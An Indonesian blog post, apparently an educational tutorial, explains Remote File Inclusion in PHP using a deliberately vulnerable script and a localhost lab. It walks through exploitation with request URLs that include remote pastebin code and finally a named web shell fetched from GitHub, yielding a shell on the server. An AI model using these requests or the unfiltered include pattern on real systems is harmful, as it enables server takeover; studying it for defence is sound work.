-
Hai Sobat
Saya ikal,
Disini saya akan sharing sesuatu nih.
-
Kali ini kita akan membahas mengenai Vulnerability yang bernama RFI (Remote File Inclusion) Kerabat dekat LFI (Local File Inclusion) :D. Berbeda dengan LFI yang hanya menginclude file dari dalam server, RFI ini berkelebihan untuk menginclude file dari luar server. RFI sendiri terjadi saat function include tidak terfilter dengan baik.
Seperti namanya yang ada remote - remotean, kita bisa mengeksekusi Code PHP atau sejenisnya yang berada dari luar server. Namun untuk melakukan RFI ini server harus mengenable function allow_url_include(), setting enable disable nya di file php.ini.
Contoh script php yang memiliki kerentanan RFI :
<?php
if (isset ($_GET['page']))
{
include $_GET['page'];
}
else
{
echo "<p>Hello World!</p>";
}
?>
Dan jika kalian ingin mempraktekannya diserver kalian masing - masing. kalian bisa create file dengan nama php.ini, dan pastekan script berikut :
allow_url_include=On
Tampilan awal |
Basic RFI Exploitation :
https://localhost/vuln.php?page=google.com
Disini server kita akan membaca code dari index website google.com. Nah kita bisa memanfaatkan server pastebin untuk host yang akan kita include yah. Disini saya coba asumsikan untuk menginclude text biasa dari https://pastebin.com/raw/JUfpvPwZ untuk include pada server yang vuln RFI tadi.
Letakan url pastebin dibelakang parameter, Contoh :
https://localhost/vuln.php?page=https://pastebin.com/raw/JUfpvPwZ
atau seperti ini
https://localhost/vuln.php?page=pastebin.com/raw/JUfpvPwZ
Hasil |
Outputnya sesuai dengan yang ada di https://pastebin.com/raw/JUfpvPwZ
Now, How get RCE from Remote File Inclusion? So Simple dude :D. Pertama kalian buat lagi repository pastebinnya, namun kali ini kita isi dengan Code PHP, Contoh disini kita akan memunculkan phpinfo, dan ini repository yang akan kita include ke server target https://pastebin.com/raw/xTahsBha.
Pastekan url pastebin tersebut di parameter tadi.
https://localhost/vuln.php?page=https://pastebin.com/raw/xTahsBha
atau
https://localhost/vuln.php?page=pastebin.com/raw/xTahsBha
Hasil |
Kita berhasil melakukan Code Execution :D. Kita juga bisa langsung mendapatkan shell, sama seperti tadi kita hanya perlu mempastekan url shellnya di parameter yang memiliki vulnerable RFI tersebut. Contoh kita akan memakai MARIJUANA shell. url shell :
https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php
https://localhost/vuln.php?page=https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php
atau
https://localhost/vuln.php?page=raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php
Dan saat kita enter. Ini hasilnya.
Hasil |
Gotcha :D. U got the shell. Namun walau Vulnerability Rfi ini cukup umum, Tapi jarang sekali saya menemukan website yang memiliki Vulnerability ini. Yah gitulah :D.
Untuk artikel mengenai Exploitasi RFI ini segini saja. Jika ada salah penulisan biarkan saja.
Reference :
https://en.wikipedia.org/wiki/File_inclusion_vulnerability
https://www.youtube.com/watch?v=Z0zhFvdvF6o
Thanks
See U